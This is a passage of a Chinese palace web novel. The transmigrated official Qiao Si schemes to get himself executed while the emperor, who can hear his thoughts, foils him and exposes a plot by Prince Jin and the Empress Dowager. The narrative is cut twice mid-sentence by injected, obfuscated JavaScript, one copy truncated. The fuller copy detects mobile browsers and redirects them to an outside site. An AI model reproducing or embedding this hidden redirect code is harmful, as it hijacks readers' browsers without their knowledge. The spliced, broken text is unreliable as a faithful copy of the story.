也是,毕竟乔大人年纪很轻,听说才不到二十岁,模样也精致漂亮、像从画儿里走出的。这样的天真少年,有什么心思全都写在脸上,比朝廷里那些老狐狸确实顺眼多了。 王太医自个儿脑补得开心,不知不觉间手下也已经施针完毕,搞得乔肆满头大汗不说,又去一旁写药方去了。 不再施针后,乔肆也安静了下来,连同心声都疲惫地暂停了一阵。 不过是正常医治而已,仿佛真受了什么折磨委屈。 果真娇气。 “陛下。” 片刻,王太医将药方给皇帝过目。 殷少觉只低头扫了一眼,淡淡道,“用药不必吝惜,直接从朕的私库取用。” 太医一惊,圣上的私库里都是御用奇珍,之前还从无开库恩赏的先例,看来乔肆的确深得圣心。 可此前他却从未听说过宫中有乔肆此号人物。 “还有。” 正在太医心思百转,揣测屋内的宠臣为何能得如此圣宠时,皇帝再次发话了, “即日起,你便留守临华殿随侍,其他太医院的日常事务暂且放下,在乔卿痊愈之前,务必在此寸步不离地照料诊治他。” 王太医深吸一口气,深深地低下头去, “微臣明白,臣这就去办,还请陛下放心!” 王太医终于出去煎药了。 殷少觉也终于起身,离开了临华殿。 直到外面的脚步声彻底消失,方才还虚弱无力状的乔肆猛地翻身下床,径直走到了门口。 不行!皇帝太不可名状了!再这样下去他要神经衰弱了! 他不能坐以待毙! 俗话说得好,死都不怕了,难道害怕抗旨不遵的死罪吗?! 乔肆很快就重新振作起来,飞快地把临华殿内的床单收集起来,做成绳子带在身上。 哼,他早就受够了软禁了! 今晚他就要出逃临华殿,把皇宫闹个天翻地覆! 丝毫不知道暗卫就在一旁看着的乔肆雄赳赳气昂昂开始搬桌子,搬椅子,决定爬墙。 桌子放在墙根下,桌子上面是椅子,放稳当之后,乔肆便又在脚下垫了个小板凳,总算勉强能摸到墙沿了。 他其实并不太擅长这些。 手掌心很快磨红了,他便用布包裹着保护手掌,有点使不上力气,就四肢并用。 然而刚刚骑在墙头上,乔肆就感觉力气耗尽了。 不对劲啊不对劲,他怎么变得如此虚弱?难道真是那毒药影响了他? 他用手背擦着额头的汗水,穿着粗气,鼻尖却飘来一股饭香。 扁扁的肚子适时地咕咕叫了起来。 啊…… 好饿。 要不…… 吃饱饭再抗旨逃跑? 正好傍晚出逃,看起来也更有诚意,吃饱了有力气搞事,更容易成功,失败了还能被治罪。 乔肆摸了摸鼻子,很没出息地重新爬了回来。 晚膳正好送进了临华殿,小太监不知道为什么桌椅板凳都在院子里,还多费了点时间搬回屋内,才拿出了饭菜。 很是丰盛,红烧肘子鸡鸭鱼都有,八菜一汤,让乔肆胃口大开。 和丰盛的晚膳一起送来的,是皇帝的赏赐。 只见好几个身强力壮的太监抬着一个个沉甸甸的木箱子进来了,一个个摆在了殿内,再一个个打开,露出里面金灿灿银闪闪的金银珠宝。 为首的太监笑眯眯看着他,细细的嗓子开口说道, “恭喜乔大人,领赏吧。” “啪嗒。” 这次乔肆的筷子掉在了桌上。 来真的啊?! 他还以为直接记在账上的那种…… 这么多银子,他翻墙的时候可带不走啊! 4. 第四章(修) 他瞪圆了一双亮晶晶的杏眼, “这……这是……” 为首的公公笑眯眯朝着乔肆行了个礼,掐着兰花指恭喜乔肆, “这都是圣上恩赏的东西,乔大人自个儿收着便是,咱家差事已经办完了,就先退下了。” 直到送走了搬东西的太监们,乔肆还恍恍惚惚的,几乎以为自己在做梦,伸手摸了摸那些透着冰冷的金银,才稍微找回些理智。 居然是真的。 皇帝果然是皇帝,说给什么,竟然当天就送来了。 他还以为会和乔家一样,只是表演给外人看看呢。 曾几何时,乔肆还在乔家的‘庇护’之下时,也曾在生辰宴、逢年过节时大张旗鼓地为他搞来各种名贵又值钱的礼物,为他置办各种院落、宅地,安排数不清的仆人丫鬟只服侍他一人。 最初穿越过来时,他也感叹过,看着便觉得眼花缭乱。 可最终,当人群散去,宾客离席,被剩下的又只剩他自己。 乔家的长辈会以种种的由头借口帮他保管钱财,经营他‘名下’的生意,说他年纪还小,尚未及冠,最容易被人骗了去。 又或者是假装出种种大方模样,叫他‘有任何需要的尽管提’,‘想买什么让人记在乔家名下,当时不必给钱’就好。 偏偏乔肆是个脸皮薄的,在吃喝并不短缺时,自己又没有什么劳动力,便不好意思主动要额外的零花。 让他去外面花钱的时候直接赊账,那些伙计们便会露出愁苦的模样,要他证明自己乔氏的身份,他拿出证明,又会听到旁人小声议论——那些子王公贵族又开始以权势欺人了。 后来他便知道,不少家世地位高的纨绔子弟也是这样,提出个家世背景来赊账,难为伙计们去家里每个月要账,但谁也不知道最终那些赊的银两会不会分文不少的给人家。 全京城几乎都知道他乔肆出手大方,被乔家娇生惯养着。 只有乔肆自己知道,代表乔家去赴宴、送礼时,只是在听命于乔家行事。 一切都是装出来的模样。 但他对此也并无怨言,他本就是个外来者,旁人不知道,但他自己知道,作为穿越的,他并无乔家血脉,也无亲情,更加是无功不受禄,他给了许多剧透来扳倒原著中的大反派,让乔家在京城在朝堂立足,这也不算‘功劳’,而是被骗被利用之后的‘罪过’。 乔肆站在其中一箱银子面前,弯腰拿起了其中一锭银子。 这倒是他第一次真正拥有这么巨额的钱财。 无数次,他被软禁宫中时,最缺的就是银子。 有了银子,宫里管事的就能给他更多吃喝,就不会短他冬天的炭火夏天的冰块。 有了银子,他就能打探到更多宫中的事情。 但如今已经不一样了。 乔肆摸着这一锭银子,脸上缓缓扬起一个欣然的笑意。 银子确实是个好东西,他不擅长算计那些人心和计谋,只知道用银钱能让人帮自己办事。 有了这些……他就能想办法传递消息出宫,想办法联系上刘疏的弟弟。 刘疏与弟弟失散多年,一直在寻找彼此,但乔肆靠着剧透早就知道,他弟弟就是如今名震江湖的侠客,陆晚,陆大侠。 陆大侠有着一身好武义,侠肝义胆,正是乔肆此时最需要的作妖搞事好帮手。 再说了。 晋王的人就是靠这个消息,才能威胁刘疏。 明明是一群被陆晚坏了几次好事,还拿陆大侠没办法的狗官,却骗刘疏说他的弟弟被绑架了,若是不按照他们说的办,去御前行刺,就要撕票。 真是可笑! 撕票?谁被谁撕票,撕谁的票?! 不就是欺负刘疏不知道弟弟如今是厉害的大侠了吗! 提起这个,乔肆就来气,恨不得直接给晋王脸上来几拳。 这群家伙,之前就是靠着兄弟没有相认的信息差,害得刘疏被满门抄斩,又用刘疏引出了陆晚,害得陆晚没来得及救下刘疏不成,还把自己给搭进去了! 可怜的刘疏,被蒙在鼓里不说,脑海中对弟弟的印象还停留在幼年时那个需要他保护的瘦弱的孩子上,一心想要救下可怜的弟弟,却反被当做工具算计陷害。 如今,该这个弟弟来救哥哥一命了。 “乔大人,该喝药了。” “……” 乔肆瞬间面如死灰,缓缓转过身来,鼻尖都盈满了苦涩的药气。 他缓缓拿出更多银子,捧在王太医面前, “这些都给你,能不能就当我已经喝过了……” “不能。” 王太医皱着眉头,干脆利落拒绝了他,“富贵不能淫!” 乔肆:“……” 呜。 …… 清晨。 人声寂静,鸟雀清鸣,早春寒露带来阵阵寒意。 御书房内,只有微弱晨光透入窗棱。 一浑身黑衣的暗卫倏然出现,落于书案前空地。 身着龙袍的圣上头也不抬,低声问, “如何?” “回陛下,乔大人昨日胃口极佳,八道菜吃了近一半,尤其偏爱鱼虾、甜品,又对着您赏赐的金银摸了许久,面带微笑,看起来很是欣喜,后来王太医劝他喝药,他还试图用银子贿赂……” 又说了一系列乔肆的日常活动后,暗卫说到了重点, “……日落时分,乔大人趁着王太医已经歇下,起床重新穿戴整齐,还将大量的金银带在身上,将殿内桌椅都搬到了院落中,似乎是准备再次爬墙,但恰逢王太医起夜,他便躲回了床上假装睡下,然后……似乎真的不小心睡着了,直到寅时才突然惊醒。” 殷少觉听到这里,瞥了暗卫一眼,不轻不重道,“说重点。” 暗卫低头,连忙跳过中途一系列细节,继续道, “是!乔肆快到卯时才成功翻墙出去,又用了半个时辰来到宫门附近,买通了一个正值休沐的小太监,拜托对方向宫外传递了一封信。” 殷少觉伸手,“信呢?” “在这里。” 暗卫上前,双手将信封呈上。 殷少觉展开看了看,很快将其扔回了桌上。 好幼稚的字迹。 信是送给一个名叫“陆晚”之人的,字里行间尊称对方为陆大侠,并表示自己知道对方一直在寻找的东西,让其去某个地点亲自查看便知。 “不必拦截,继续把信送到收信人手上。” 殷少觉吩咐道,“若是收信人想要回信,追问什么,你也一并收下。” “是!” “乔肆现在何处?” “回陛下,乔大人现正在御膳房……吃东西。” “……” 殷少觉按了按额角,“你下去吧,送完信件继续盯着他。” 交代完暗卫的任务,殷少觉单独接见了从京郊被他召回宫中的汪太医。 好在老人家本就觉少,在清晨时分来面圣也并不困倦,只是人已经鬓发虚白,看起来确实年纪大了些。 汪太医没穿官服,只着一身布衣,恭恭敬敬地对着圣上行礼,腰还没弯下去,就被殷少觉先一步拖住了手肘。 “汪太医免礼,还请坐下说话。” “这不合规矩,臣已经告老还乡,怎能……” “看来汪老还在因为当年的事怪朕,此处只有你我二人,竟如此生分了。” “草民不敢。” 汪太医站在下方,身子骨像是还硬朗,说不坐就不坐,站在那儿腰板笔直笔直的都不带打晃。 不但笔直站着,还直接用目光上下打量坐着的皇帝,眉头微皱,手指也摸上了胡须, “陛下看起来面色不佳,究竟是何病症,竟然令太医院都束手无策?” 殷少觉也不再客套,避开往事不谈,直言道, “昨日意外被利器划伤,之后便感到有些头晕目眩,身体乏力,夜间也有些睡不好,多亏了王太医施针煮药,才恢复了些许精力,但还是有些气短乏力,故而推了今日的早朝。” “听起来像是中了什么毒……” 汪太医上前一步,眉头皱得更紧了,目光也死死盯着皇帝,“可是草民听着陛下说话之声中气十足,呼吸也平稳,这面色……” 皇帝没说话,汪太医已经突然挂了脸,胡子一吹,颤声道,“陛下,您……您又骗我!” 殷少觉:“……” 在伤病之事上想骗过老太医,确实是一桩难事,若是他真的出了问题,作为汪太医的徒弟,王太医也不会这么安安静静的不透露任何消息给师父。 殷少觉知道哪怕自己背下了乔肆的症状,假装出虚弱模样,也不瞒不住多少,这么快就被识破也并不感到意外。 反正人已经骗进宫了。 “确实是朕的过错。” 殷少觉面不改色地认下了,“汪太医,此事说来话长,还是请坐下说吧。” 汪太医气得眼花,终于是熬不住了,终于认命地坐在了皇帝为他准备的椅子上。 “还请陛下明说!别再戏耍我这老头子了!” 到底是看着皇帝从小皇子一路长大登基的太医,在很多年前,汪太医就很是照顾不受宠的殷少觉,说话语气想要崩着客气,也崩不住多久就泄了气。 汪太医不客气起来了,殷少觉的面色却是明显缓和了几分。 他太了解汪老了。 脾气发出来了,就是好说话了,肯好好做事了。 这副模样,和当年完全一样,丝毫没变。 “其实受伤的并非是朕,而是一个臣子为了护驾而替朕受的伤,若非有他从中阻拦,受伤的人就不是他,而是朕了。” “竟有此事?!” 汪太医一听就瞪大了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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乔肆立刻把鸡骨头一丢,横眉怒对狗皇帝,理直气壮道, “对!我就是偷偷溜出来了怎么样!宫里这点人根本就关不住我!你不要以为我会听你的话让干嘛就干嘛!” 【就是抗旨了,怎样!】 【我是不会被轻易软禁的!】 “原来如此。” 殷少觉微微勾唇,却是笑了, “原来乔卿是肚子饿了,御膳房如此办事不力,竟然这么晚了都没送早膳过去,确实该罚。” “啊?不是……” 乔肆连忙摆手,“跟御膳房没关系啊!哪儿有凌晨就送早膳的!我又不是因为这个我是……” “哦,那便是乔卿在临华殿烦闷无聊了,” 殷少觉再次打断他,故意曲解他的意思道,“无处可去,才来到了御膳房,也好。” 他抬手,直接向一旁的季公公示意,将一块腰牌拿给了乔肆, “凭此腰牌,可自由出入宫内除府库、后宫等地之外的其他地方,乔卿若是无聊了,可以四处转转。” “啊??” “今日乔卿有功,” 殷少觉一串连击打了上来,继续说道,“御膳房看管不利,食物竟能随意被人拿取,幸好乔卿及时发现,那朕便赏你些其他东西。” “???” 乔肆目瞪口呆。 【啥??怎么又赏我了啊?】 【这到底是怎么急转弯到我有功的啊???】 “如何?” 殷少觉声线低沉,虽是问句,却含着不容置疑的意味。 乔肆只想搞事,想自己被罚,完全没想牵连罚更多无辜的人,连忙应下,“臣谢过陛下。” “来人,送乔卿回临华殿。” 殷少觉提醒道,“太医已经到了,还在等着为你诊治。” 乔肆被皇帝的神逻辑绕晕,莫名其妙回了临华殿,见到了那个本来已经退休的老头。 “温太医?” “乔大人,我姓汪,不姓温。” “哦哦……” 乔肆伸出胳膊,让汪太医把脉。 他知道肯定是摸不出什么结果的,但也不好拒绝。 更何况皇帝还在后面看着呢,也不说话,在阴影中一坐,像个活阎王。 啊不,财神,神经的神。 乔肆撇撇嘴。 等太医的眉头皱起,他就忍不住开口道,“汪老太医,我的身体我知道,是中毒了对不对?用寻常药物很难医治的。” 汪太医皱眉点头,“确实,老夫行医多年,也从没见过如此奇怪的脉象,这……” 乔肆灵机一动,“我倒是有个想法。” 汪太医抬头看他,“哦?” “我这毒,是受伤的时候中的,与其自己研究药方,不如问一问下毒的人?” 乔肆一手支撑着身体,坐起身来,目光灼灼看向后方默不作声的皇帝, “说不定刘疏刘大人知道些什么。” 【快,快去把刘疏捞出来啊!】 【再晚一点晋王就要去牢里灭口了!】 5. 第五章(修) 乔肆昨晚睡前就在想这些事。 若是能成功被下天牢,诛九族,他就可以在牢里和刘疏一起等陆晚。 若是不能,就必须提防晋王灭口。 关于刘疏这条线,乔肆分别打出过三种不同的结局。 其中一世,他提前让他们兄弟相认,让刘疏多活了一年,从一开始就没参与行刺,没有被晋王的人威胁,但最终还是因不肯站队不愿受贿,最终被多方势力针对而惨死。 还有一次,他没赶得上阻止,刘疏已经在御前行刺,并下了天牢,择日满门抄斩。 乔肆想办法赶在陆晚与刘疏的兄弟关系还未被曝光之前,让这两人提前相认了。 当夜,刘疏就劫狱了,还成功了。 只是之后他们二人就沦为了逃犯,不知道过着什么样的日子。 然后便是他打出的第三种更好的结局。 刘疏下天牢,但陆晚劫狱失败。 那一次,乔肆并未将陆晚的身份告诉刘疏,而是告诉他一切幕后主使,以及晋王的险恶计谋。 于是刘疏万念俱灰,心中也没了挂碍,不肯被一陌生人冒死相救。 但他在自认命不久矣之际,将晋王才是幕后主使告诉了陆晚。 陆晚武功高强,又有了复仇的目标,当夜就带着几个生死之交,血洗晋王府。 可惜没能带上太后,而且还折损了不少人,就连陆晚本人也身负重伤。 那一次,皇帝秘密赦免了刘疏,对外宣称刘疏病死狱中,放二人逃离京城。 这似乎是对这二人来说,结局最好的一次了。 虽然之后乱子也很多,但那都是皇帝收拾的,没有麻烦到他这个搞事的人。 这一次,情况又有所不同了,但有了之前的经验,乔肆相信结局不会更惨了。 他的想法很简单——努力作死到诛九族为止,过程中再顺手捞一下刘疏,稳赚不赔。 所以如今中毒了也无所谓,这个毒潜伏期很长,比他的命长多了。 “陛下觉得如何?” “可以一试。” 听到乔肆如此提议,皇帝沉吟片刻,恩准了。 乔肆心中大喜。 【耶!!】 此时,阳光已经越发明亮耀眼,几乎将整个临华殿铺上金光。 迎着斜射进来的阳光,乔肆终于等到了形容枯槁的刘疏。 仅仅是一夜未见,刘疏已经披头散发,看着像是一夜之间便憔悴了许多,明明身上衣服完好,眼下却青黑一片,额头也多了一处伤口。 押送他的侍卫告诉殷少觉,是此人昨晚曾经尝试自戕被救下,才留下了伤口。 见状,乔肆悄悄攥紧了身下的被子。 【好惨。】 他知道天牢里是个什么地方。 进去的人,又怎么可能全须全尾的出来。 那里阴冷,潮湿,暗无天日,感觉不到时间的流逝,有的只是死亡的气息。 哪怕有狱友关在一起,也往往是了无声息地安静着,不知死活,或是日复一日的疯疯癫癫,不似人形。 一个晚上? 任何一个人都不会想在里面呆哪怕一个时辰。 刘疏头也不抬,直接跪下行礼, “罪臣刘疏……见过陛下。” 殷少觉没有说话。 乔肆抢先一步掀开被子,扶着床柱站起身,着急道,“陛下!让臣……臣来劝一劝他,刘大人通情达理、为人正直,想必、想必只要臣动之以情晓之以理,他便会什么都招了的。” 【快!快答应我啊!】 【狗皇帝!你在沉默个什么鬼!!】 “……呵。” 殷少觉却站起身来,朝着他一步步走来,缓缓地,关怀备至地将手掌搭在了乔肆的肩上,将人按着坐回了床榻上, “乔爱卿倒是乐善好施,颇具君子之风。” “啊?” 乔肆完全没察觉他话里的意思,只愣愣应下,“谢陛下夸奖?” “……” 仿佛一脚踢在了棉花上,殷少觉倍感无趣的收回手,转身朝门外走去, “朕只给你们一炷香的时间,若是问不出毒药的来历,就提头来见。” 他没有说是要提谁的头。 乔肆也没在意这种字眼的区别。 只有唯一听得懂话中话的王太医和汪太医汗流浃背了,生怕君臣吵架把自己搭进去,慌忙也退出门外,不忘给他们关好门。 屋内,只剩下刘疏和乔肆二人。 “咳咳……” 刘疏似乎是受了寒,稍微一放松些,就咳嗽起来,比乔肆这个中毒的看着还要更虚弱。 “刘大人,快坐!” 反正没了外人,乔肆抓紧时间,直接起来拉着他坐在一旁。 “乔大人不必多言了,我是什么都不会说的,到时候陛下问起来,我便去自裁谢罪。” 刘疏低着头,愧疚而倔强地表态, “是刘某害了你……此生无法赎罪,只有来生……” “指望来生有什么用!这辈子就这么放弃了吗?” 乔肆气愤打断他, “刘大人,只要你按照我说的向陛下坦白,我保你和你弟弟团聚!” “……什么?” 怕他不肯配合,乔肆还故意骗他说道, “若是被人发现,皇帝问起,或是露馅了,你就尽管坦白是我告诉你的就行了,我自有办法脱身!” 就算他教刘疏指认晋王这事儿被发现了,他也不介意多一条污蔑皇亲国戚的罪名,这倒正合他意呢! 半晌,乔肆一口气将晋王的阴谋告知。 刘疏震惊地睁大了双眸,“乔大人……你为何要帮我至此?” “……” 哪有那么多为什么? 当然是为了死得轰轰烈烈,为了死之前彻底爽一把,把以前想做的不敢做的全都做了! 但乔肆知道自己不能这么说。 他临时编了个借口, “因为你弟弟救过我的命,他是我的大恩人!” 对,就是这样! 反正陆晚行侠仗义的事情做得多了,应该不可能记得每一个被他救过的人长啥样吧? …… 两个太医借口煎药去偏房躲着去了。 殷少觉说是只给一炷香的时间,也真就点燃了一炷香,就这么命人抬了椅子过来,带着太监直接等在门外。 一门之隔,里面的心声自然也听不见了,就算是殷少觉凑到门边,也超过了心声的距离,只能模糊听到偶尔几声在骂他的音节。 还没到一炷香的时间,房门从里面打开了。 刘疏真的招了,按照乔肆告诉他的那一套招了。 从背后用家中亲戚胁迫指使他行刺的人,到给他暗器的人,毒药的来源,一切都直指晋王。 刘疏也怀疑过这些是否是真相。 毕竟,乔家本来就与晋王不合,乔肆还拿不出任何证据。 但是乔肆却知道他弟弟小满的事情。 包括小满现在的名字,长相,这些年做过什么,过着什么样的日子,甚至是……只有他和小满兄弟两人才知道的童年趣事。 有些秘密,刘疏从未对外人讲过,只有小满知道,如今从乔肆口中说出,他不得不信。 刘疏自己并不确定是否真是晋王,但他想要活下去。 只有活着,一切才还有希望,活下去,才能重新见到小满。 【反正就是晋王!我亲眼看到的!】 【刘疏只是个炮灰啊!】 想到这里,乔肆就感到一阵愤怒,凭什么真正的坏人好好的,刘疏这样的好官却要经受牢狱之灾? 他观察着皇帝的脸色,忐忑地等着对方的裁决。 殷少觉听着那漏洞百出的谎言,逻辑不通的过程,以及那答案全对、指向晋王的指控,很是沉默了一阵。 无论是言行还是心声,都表露了乔肆对晋王的厌恨。 这倒是不奇怪,乔家和晋王一直以来都是针锋相对的政敌,时刻盼着对方倒台。 但这种厌恨,似乎还更多了几分私人恩怨的意味在里面,个中缘由不得而知。 但无论如何,这倒是殷少觉想看到的。 乔家与晋王最好一刻不停地撕咬下去,永远彼此牵制,才不至于乱了大局。 不过……‘看到’? 难不成乔肆当真是开了天眼? “刘疏。” 半晌,殷少觉才开口道,“既然如此,朕可以给你一次戴罪立功的机会。” 刘疏心头一热,顿时噗通跪下,给皇帝磕了个响头,“谢陛下!!” 【耶!!】 【好好好,今天不骂你狗皇帝了。】 “……” 殷少觉继续道,“即日起,朕会对外宣传你重伤昏迷,不让任何人来见你。” 刘疏跪着抬头,面露不解。 “在这期间,朕有另外的差事要你去办,若是办好了,朕便可赦免你的罪过。” “是!罪臣……接旨!” 乔肆扭头,好奇看过去。 【什么秘密任务?什么什么?】 殷少觉偏不让他知道,带着刘疏就走了。 “乔爱卿就在此好好养伤,不要乱动了。” 乔肆:“???” 想让他乖乖听话?做梦!! 乔肆咬牙,当即决定明日就继续作大死,势要把宫内闹个鸡犬不宁! 但是殷少觉根本不管他有没有走流程接旨,吩咐完了就锁上临华殿大门走人,还带走了汪老。 没多久,王太医又进来了。 “乔大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234876|181833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,喝药了,这是我师父和我一起研究的新方子。” 王太医笑眯眯说道, “师父说了,虽然毒药的配方还没找到,不好根治,但为了避免您的身体被伤了底子,还是要每日服药好好调养才是。” “……” 呜哇!! 乔肆欲哭无泪倒回床上。 …… 接连三日,乔肆都在想方设法闹出点新动静来。 第一日,他堵在皇帝上朝的路上,在路上还特地准备了石头,想绊一下抬轿子的人,结果到了中午才知道皇帝今日不早朝。 原来皇帝已经放话出去,要罢朝三日,说是病了。 他身体那么好,鬼才信啊! 第二日,他再次尝试了行刺,试图从树上跳下来砸皇帝,结果皇帝提前发现,直接改道走了。 而他下树后,在宫内转了一整天,都没再找到皇帝的位置。 乔肆怀疑皇帝在躲着自己,但他没有证据。 到了第二日晚上,宫中传出了奇怪的流言。 许多宫女、太监都声称自己见到了女鬼作祟。 乔肆对此嗤之以鼻。 这世上要真有鬼,那他就是最大的厉鬼了。 第三日,他故技重施,特意准备了一份‘厚礼’,说要献给皇上。 那厚礼是他好不容易寻来的马蜂窝。 乔肆已经有了八辈子的掏马蜂窝经验,自己一点都没受伤。 只要盒子打开,殷少觉就会被马蜂袭击。 殷少觉终于见他了。 然而锦盒打开,里面出现的却不是马蜂窝,而是一个精致漂亮的红珊瑚。 咦? 乔肆不理解,他只是随便拿了个宫内最常见的漂亮盒子,怎么里面的东西却掉包了? 同一时间,晋王打开了母后赏赐给宝贝儿子的礼盒,然后在遥远的宫外发出惨叫。 太后和晋王通气之后一致认定,这肯定是乔家的阴谋。 若非乔家,他们实在想不出还有谁会这么阴险毒辣,居然特意在晋王要去面圣的前一天害他毁容!! 太狡猾了!消息太灵通了! 太后安抚晋王,让他在府中暂且养伤便是了,一切有她这个母后在。 皇帝罢朝的第三日,已经有人发现吏部侍郎刘疏不见了,传闻是被皇帝治了罪。 不少臣子开始有了猜测,觉得是刘疏做错了什么事,害得皇帝病了一场。 第四日的早晨,皇帝依旧不早朝。 皇宫里再次出现怪事,御膳房直接发现养在笼中的活鸡活鸭竟在一夜间死去了,种在御花园已经活了三百年的古树更是一夜间枯萎,原本在初春冒出的嫩芽、花骨朵也全都掉落满地。 更有甚者,有人目睹了成群的乌鸦在紫宸殿上空徘徊,久久不散,不断发出悲鸣。 诸如此类的怪事层出不穷,一时间闹得人心惶惶。 紫宸殿内。 层层帷幔之后,皇帝正一本本批改奏折,一旁的汪太医还在屋内煎药,苦涩的药气充斥着每个角落。 关于那些传闻,汪太医也听到了不少,大多还是些对皇帝不利的消息。 纵然他允诺过皇帝,不会乱说任何事,此刻也有些坐不住了。 “陛下当真不去人前澄清一下?” 汪太医不太理解皇帝此刻的做法。 此时种种猜测都开始冒出,会闹得人心涣散不说,还会引得心有鬼胎之人开始趁机借鬼神之事传谣,单就为了一个乔肆、一个刘疏,实在没必要承受这样的议论。 “再等等。” 殷少觉看起来却丝毫不急,甚至有种预料之中的泰然,甚至将手边的奏折又换了一个,简单写上个阅字便扔到一边, “很快就有人要坐不住了。” 见皇帝竟然是如此态度,汪太医忽然想到了什么,面露惊讶, “陛下难道是……?” ……难道是故意将计就计,装作受伤中毒的是自己,好放长线钓大鱼的吗? 但后面的话,汪老并未说出,只是皱着眉头沉默了下来。 “好了,草民去把今天的药送去。” 正好今天的汤药也熬好了,汪太医端着碗站起身来。 “汪老留步,” 殷少觉却忽然说道,“今日不必多跑一趟,朕会叫乔肆过来。” 乔肆也闹了有许多天了,他一直睁一只眼闭一只眼,故意放任从未治罪,便是为了今日能陪他演完这场戏。 “这……” 叫一个刚刚入宫没几天的臣子到皇帝的寝殿面圣,合适吗? 汪太医正想着,暗卫已经奉命将人带来了。 砰。 也许是多带了一个人,今日暗卫的落地声格外的大。 殷少觉并未回头看,直接吩咐,“放床上。” 6. 第六章(修) 啪叽。 乔肆连人带被子一起被丢在了床上。 犹如一个厚厚的凉皮卷。 在心中骂了一路,刚才也在骂狗皇帝的乔肆彻底呆住了。 【诶?】 【诶诶诶?!?!?!!】 汪太医更加觉得不妥了。 “陛下!您这是——” 但老人家还来不及劝说任何话,外面就传来了通报声。 “太后驾到——” 皇帝罢朝三日,第一日时,太后便来看过,但被季公公拦下了,说是皇帝正睡着,不便见人。 今日,太后又来了。 而皇帝就像是猜到她会来,特意提前在殿内布置好了一切。 浓重的药味,不见任何人的殿门,还有早早被丢在床榻上,以备不时之需的乔肆。 乔肆整个人都还懵着,完全不明所以。 他这三天除了和陆晚大侠暗中书信往来,就是拼命搞事情,要么就在被两个太医轮流喂药,一天一个花样,现在感觉打嗝都是苦的。 不但嘴里苦,晚上还发烧睡不着,总要闹到后半夜。 今天他本来打算睡个大懒觉的,等睡醒了再琢磨接下来怎么搞事情。 实在不行,他都打算直接去行刺太后了。 结果刚睡下还没开始做梦呢,就被暗卫堵住嘴巴连铺盖卷一起扛着飞走了。 甚至不是背着不是抱着,就是扛着的!他全程头朝下在屋檐上飞来飞去!差点晕人! 他还以为被绑架了呢,全程还在拼命挣扎,结果就看到了皇帝,还被扔在了龙床。 不等他反应过来,皇帝也上了床,还将床两侧的帷幔都放了下来,将里面严严实实地遮挡住了。 乔肆试图蹬腿反抗,下一秒就被皇帝从被子里整个人挖了出来。 他还没起床,身上穿得清凉宽松,胳膊腿都露在外面,于是一被挖出,就碰到了龙床上光滑细腻的丝绸质感,以及殷少觉身上那一套柔软龙袍的细密纹理,贴在身上痒痒的。 呆愣之际,殷少觉将他整个人圈在了怀中,下巴抵住了他的头顶,用被子将两个人包裹在一起。 乔肆瞬间就炸了毛,从头顶到脚趾的汗毛一起竖起来。 【干、干什么?!太后都要来了,你要干什么?!当众出柜吗?!】 【等等……卧槽,什、什么东西印印的在后面顶着我的腰……】 【啊啊啊啊啊啊啊!!!】 殷少觉听不懂他在叽叽歪歪喊些什么,只觉得吵闹。 为了以防万一,暗卫早早点了乔肆的哑穴,但却堵不住心声。 心声忽然停顿三秒,怀里的乔肆开始扭来扭去,动得殷少觉额头青筋直跳。 【摸一下。】 【哦,是刀啊,那没事了。】 殷少觉:“……” 不然是什么? “别乱动。” 低沉的气音从头顶传来,暗含警告。 【呜。】 乔肆瞬间安静了。 【好可惜,我要是也有刀子,现在又能行刺皇帝了……】 【这么好的机会,哎……】 直到太后推门进了紫宸殿,乔肆的大脑都在超负荷快速运转。 上辈子、上上辈子、上上上辈子,往上数八辈子,他都没遇到过这么离奇的事情,诡异的场景。 乔肆僵硬着身体,甚至没怎么听清太后与皇帝的寒暄客套。 直到太后结束了寒暄,忽然话锋一转,开口道, “哀家前些日子去金鸣寺礼佛,恰逢道场法会,遇到一位道医双绝的高人,法号玄放,皇儿这病迟迟不愈,不妨请法师入宫一试。 皇帝沉默了片息,似乎的动摇了,模糊的声音透过重重帷帐传出, “既是母后引荐,定有过人之处,劳母后费心了。” 【啊啊啊!居然来了个大的!】 听到关键词,乔肆终于整个人回过神来,激动地也支棱了不少。 【是玄放啊!晋王的走狗!江湖大骗子!竟在这里见到你!】 乔肆激动。 倒不是激动解药要来了,而是乔肆又看到了九族消消乐大礼包在招手!Unbelievable!! 行刺狗皇帝的难度实在太高了,不如借这事玩儿一票大的,拉更多人下水一起死。 皇帝太谨慎、身手太好,从未真的受伤中毒更谈不上中计,一直以来,乔肆只知道刘疏是晋王害得,知道晋王养了这样的门客,研究过这些毒,却从不知道他做的这一切都是为了今天这一步棋。 而太后是晋王生母,这次母子打配合就为了让骗子进宫,肯定是藏了什么见不得人的阴谋诡计! 等不多时,玄放法师便来了,不见行色匆匆,似乎是早有准备。 殿门开合间惊动了满室药气,皇帝隐在重帘后不见真容,“法师乃方外之人,不必多礼,赐座。” 汪太医还在一旁温着药汤,听见法师进殿抬头望去一眼,便又回身忙自己的医案去了。 玄放法师紫冠鹤氅,手持一柄白玉拂尘,面白轻须,看上去不过而立之年,却须发皆白,颇有些鹤发童颜的仙风道骨。 道士谢恩之后便直奔主题,“贫道夜观天象,冲云蔽月,只恐气犯紫薇,陛下可是龙体有恙,还请恩准贫道为您请脉。” 开始了。 乔肆在心底嘲讽。 【大骗子还夜观星象呢,真会装!】 【晋王的门客果然没一个好东西!】 他不是第一次见到这玄放装神弄鬼了,但装到皇上面前还是第一次。 “好。” 殷少觉应下,然后取出一块薄薄的丝帕,盖在乔肆的手上,抓着他的小臂,从床帘帷幔中间伸了出去。 玄放大师面色沉肃,煞有介事地将指腹搭了上去。 乔肆也是这时才恍然大悟。 这几日皇帝对外称病罢朝也好,一味躲着他不见却又不让他离开、还给他安排太医安排丰盛三餐也好,他原本是不理解的。 因为前几世皇帝从未这样中招,所以他也不知道晋王后续的计划是什么。 